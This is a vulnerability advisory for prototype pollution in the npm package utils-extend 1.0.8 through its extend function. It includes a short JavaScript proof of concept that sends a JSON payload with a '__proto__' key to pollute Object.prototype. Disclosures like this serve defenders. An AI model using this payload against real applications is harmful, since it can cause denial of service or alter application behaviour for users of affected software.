CRITICAL9.1
GHSA-7qgg-vw88-cc99
utils-extend Prototype Pollution
Details
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
## PoC ```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); }
await exploit(); ```
Are you affected?
Enter the version of the package you're using.
Affected packages
npm/utils-extend
Introduced in:
0No fixed version published yet for utils-extend (npm). Pin to a known-safe version or switch to an alternative.